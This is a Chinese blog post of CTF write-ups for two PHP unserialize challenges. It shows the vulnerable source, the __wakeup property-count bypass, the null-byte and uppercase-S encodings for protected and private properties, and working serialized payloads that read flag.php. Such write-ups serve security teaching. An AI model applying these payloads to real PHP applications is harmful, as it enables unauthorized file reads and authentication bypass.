zoukankan      html  css  js  c++  java
  • 几道php反序列化题目

    [极客大挑战 2019]PHP

    提示源码泄漏,来用扫描器扫一下
    扫出来www.zip,然后下载下来

    有五个文件,代码审计一下

    这个地方有一个可以反序列化的点,找到类

    逻辑很简单,username=admin password=100即可
    但是有一个wakeup魔术方法会将我们的username=guest,改对象属性个数绕过即可

    本地写个测试文件来找payload

    <?php
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
    
    
            }
        }
    }
    
    $name = new Name('admin','100');
    echo serialize($name);
    
    // payload     O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
    

    然后注意是私有属性,别忘了加%00

    payload = http://00ec61b4-c182-4e4c-9b0e-e733a0d2ebc7.node3.buuoj.cn/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}
    

    得到flag

    [网鼎杯 2020 青龙组]AreUSerialz

    题目直接给了源码

    <?php
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    }
    

    容易发现逻辑是我们get方法输入字符串,然后经过检查后反序列化,调用析构函数,先判断如果op是2,就将其置为1,但是是强类型判断,反序列化的时候将其置为整型就绕过了
    然后是进入到process函数,调用read函数,读flag
    但是最重要的一点是有检查函数,必须输入可打印字符,因为protected和private都有%00,我们有两种方法绕过,见exp

    <?php
    highlight_file(__FILE__);
    
    class FileHandler
    {
    
        protected $op = 2;
        protected $filename = 'flag.php';
        protected $content = 'lemon';
    
    }
    
    $test = new FileHandler();
    echo serialize($test);
    // O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:5:"lemon";}
    // PHP7.1以上版本对属性类型不敏感,可以用public属性来绕过检查
    
    // O:11:"FileHandler":3:{S:5:"0*0op";i:2;S:11:"0*0filename";S:8:"flag.php";s:10:"0*0content";S:5:"lemon";}
    // 在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示
    

    拿上面两个payload任意一个打,都可拿到flag

  • 相关阅读:
    Linux初识(命令, 文件, 系统管理)
    【JavaScript学习整理】DOM对象(location history screen navigator)
    Charles进行HTTPS抓包(iOS为例)
    【JavaScript学习整理】js基础
    【css学习整理】浮动,清除
    【css学习整理】css基础(样式,语法,选择器)
    【html学习整理】meta,img,表格,表单
    【LeetCode】无重复字符的最长子串
    【html学习整理】常用标签
    【LeetCode】种花问题
  • 原文地址:https://www.cnblogs.com/lemon629/p/13874262.html
Copyright © 2011-2022 走看看